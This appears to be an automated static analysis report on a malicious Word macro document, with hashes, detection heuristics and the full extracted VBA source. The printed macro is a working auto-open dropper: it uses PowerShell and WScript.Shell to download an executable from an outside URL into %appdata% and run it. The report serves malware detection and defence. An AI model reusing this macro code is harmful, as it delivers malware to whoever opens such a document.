Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 00c112b2d3a1983b…

MALICIOUS

Office (OOXML)

23.9 KB Created: 2017-06-23 17:32:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-09-18
MD5: ff432275a56092082c03d2f7aa03510f SHA-1: 72ebdadbcdf4460bd0434d197335fc9421008247 SHA-256: 00c112b2d3a1983b679c5d38c6f884deb35aa786a218acc25436ae9ad6ba9f39
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The Document_Open macro is triggered upon opening, which then uses WScript.Shell to execute a PowerShell command. This command downloads a second-stage executable from 'http://lastlinedemo.com/demo/testfiles/sample/sample_exe_00.exe' and saves it to '%appdata%\BadFile.exe', which is then executed. This indicates a dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set var_Obj = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        'Run_Cmd "powershell.exe $webClient = New-Object System.Net.WebClient; $webClient.DownloadFile('http://myip.dnsomatic.com/', 'c:\ip.txt')"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            oStream.Write WinHTTpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set var_Obj = CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set oWMI = GetObject("WINMGMTS:\\.\ROOT\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lastlinedemo.com/demo/testfiles/sample/sample_exe_00.exe Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://myip.dnsomatic.com/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4010 bytes
SHA-256: e5d6fcb80b2149eb53cb0b58d946478d66e69e4d57d7ef9ca5682a9b7e17b115
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim payloadLoc, fileLoc

Private Sub Document_Open()
    Const VISIBLE = 1, INVISIBLE = 0
    Const WAIT = True, NOWAIT = False
    List_Adapters
    ' Check if suspicious network adapters present
    
    Set var_Obj = CreateObject("WScript.Shell")
    '''var_Obj.Exec fileLoc
    Run_Cmd "ping 127.0.0.1", VISIBLE, WAIT
    'Run_Program "notepad.exe", "", VISIBLE, NOWAIT
    'Run_Cmd "powershell.exe $webClient = New-Object System.Net.WebClient; $webClient.DownloadFile('http://myip.dnsomatic.com/', 'c:\ip.txt')"
    fetchPayload2
    
    'fetchPayload

End Sub

Private Sub fetchPayload2()
    Const VISIBLE = 1, INVISIBLE = 0
    Const WAIT = True, NOWAIT = False
    Dim shellObj, downloadObj, runCmd
    Set shellObj = CreateObject("Wscript.Shell")
    payloadLoc = shellObj.ExpandEnvironmentStrings("%appdata%") & "\BadFile.e" & "xe"
    fileLoc = "http://lastlinedemo.com/demo/testfiles/sample/sample_exe_00.exe"
    runCmd = "powershell.exe $webClient = New-Object System.Net.WebClient; $webClient.DownloadFile('" & fileLoc & "', '" & payloadLoc & "')"
    
    shellObj.Run "%COMSPEC% /C" & runCmd, 1, 1
    
    Run_Program payloadLoc, "", VISIBLE, WAIT

    
    'Run_Cmd "powershell.exe $webClient = New-Object System.Net.WebClient; $webClient.DownloadFile('http://myip.dnsomatic.com/', payloadLoc); sleep 5", VISIBLE, WAIT
    'Run_Cmd "powershell.exe $webClient = New-Object System.Net.WebClient; $webClient.DownloadFile('http://myip.dnsomatic.com/', payloadLoc)", VISIBLE, WAIT
    'Run_Cmd "ping 127.0.0.1", VISIBLE, WAIT
End Sub

Private Sub fetchPayload1()
    Dim shellObj, downloadObj
    Set shellObj = CreateObject("Wscript.Shell")
    payloadLoc = shellObj.ExpandEnvironmentStrings("%appdata%") & "\DickGalka.tmp"
    MsgBox payloadLoc

    Set downloadObj = CreateObject("Microsoft.XMLHTTP")
    downloadObj.Open "GET", "http://lastlinedemo.com/demo/testfiles/sample/sample_exe_00.exe", False
    ' downloadObj.SetRequestHeader "Range","bytes=28141-"
    downloadObj.Send

    
    If downloadObj.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHTTpReq.responseBody
        oStream.SaveToFile payloadLoc, 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
    
End Sub

Private Sub Run_Cmd(command, visibility, wait_on_execute)
    Dim WshShell As Variant
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
    
End Sub

Sub Run_Program(program, arguments, visibiltiy, wait_on_execute)
    Dim WshShell As Variant
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub

Private Sub Document_New()

  'Greet user.

  'MsgBox "Greetings", vbOKOnly, "Greetings"
  'Command2_Click

  ' ActiveDocument.Range.Text = "testing"
  
  ' Range Example:
  ' Selection.TypeText (Command2_Click)
  
  

End Sub





Private Sub List_Adapters()


Dim oWMI, Instances, Instance

 

' get base WMI object

Set oWMI = GetObject("WINMGMTS:\\.\ROOT\cimv2")

 

' get instances of Win32_NetworkAdapter

Set Instances = oWMI.InstancesOf("Win32_NetworkAdapter")

 

    For Each Instance In Instances

        If Instance.NetconnectionID <> "null" Then
           'MsgBox (Instance.NetconnectionID & "---" & Instance.AdapterType & "-----" & Instance.NetConnectionStatus)
           Selection.TypeText (Instance.NetconnectionID & "---" & Instance.AdapterType & "-----" & Instance.NetConnectionStatus & vbCrLf)
     End If
    Next
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 264005bd2e3bfbd8de82699dba55fca18f3404e825b4f562ed860541f57d01fd
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.